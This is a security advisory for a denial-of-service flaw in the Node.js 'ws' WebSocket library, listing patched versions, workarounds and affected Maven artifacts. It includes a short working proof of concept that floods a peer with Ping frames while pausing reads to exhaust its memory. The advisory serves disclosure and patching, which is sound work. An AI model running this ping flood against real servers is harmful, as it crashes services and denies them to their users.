CVE-2026-140009
ws: Memory exhaustion DoS via unbounded automatic pong responses
Description
Impact
A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(125);
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
ws.pause();
(function ping() {
ws.ping(data, function (err) {
if (err) return;
ping();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Patches
The vulnerability was fixed in ws@8.23.0 (https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63) and backported to ws@7.5.14 (https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe), ws@6.2.7 (https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7), and ws@5.2.8 (https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1).
Workarounds
In vulnerable versions, the issue can be mitigated by enforcing rate-limiting combined with heartbeats, or by setting the autoPong option to false, if available.
Credits
The vulnerability was responsibly disclosed by multiple reporters:
Affected Maven artifacts (2)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » wsvia npm ws | < 5.2.8>= 6.0.0, < 6.2.7>= 7.0.0, < 7.5.14>= 8.0.0, < 8.23.0 | 5.2.8, 6.2.7, 7.5.14, 8.23.0 |
| org.webjars.npm » wsvia npm ws | < 5.2.8>= 6.0.0, < 6.2.7>= 7.0.0, < 7.5.14>= 8.0.0, < 8.23.0 | 5.2.8, 6.2.7, 7.5.14, 8.23.0 |
Blast radius
45% of the dependent artifacts (9) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 112 |
| 2 hops | 141 |
| 3 hops | 4 |
| 4 hops | 5 |
| 5 hops | 1 |
Most used dependents
- org.mvnpm » viem17 usages
- org.webjars.npm » socket.io-client9 usages
- org.webjars.npm » karma7 usages
- org.webjars.npm » browser-sync7 usages
- org.webjars.npm » socket.io5 usages
- org.webjars.npm » openlayers4 usages
- org.webjars.npm » engine.io3 usages
- org.mvnpm » miniflare2 usages
- org.webjars.npm » closure-util2 usages
- org.webjars.npm » ethers2 usages
- org.mvnpm » wrangler1 usages
- org.mvnpm.at.vercel » functions1 usages
- org.mvnpm.at.walletconnect » socket-transport1 usages
- org.mvnpm » ethers1 usages
- org.webjars.npm » engine.io-client1 usages
Computed from the dependency graph of build 20261204.0837 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-140009 | nvd.nist.gov |
| Package | websockets/ws | github.com |
| Web | websockets/ws advisory GHSA-37g9-w4hg-h9qr | github.com |
| Web | websockets/ws commit 560e071 | github.com |
| Web | websockets/ws commit 718c33c | github.com |
| Web | websockets/ws commit 8a10a6a | github.com |
| Web | websockets/ws commit ace7248 | github.com |
| Web | websockets/ws release 5.2.8 | github.com |
| Web | websockets/ws release 6.2.7 | github.com |
| Web | websockets/ws release 7.5.14 | github.com |
| Web | websockets/ws release 8.23.0 | github.com |
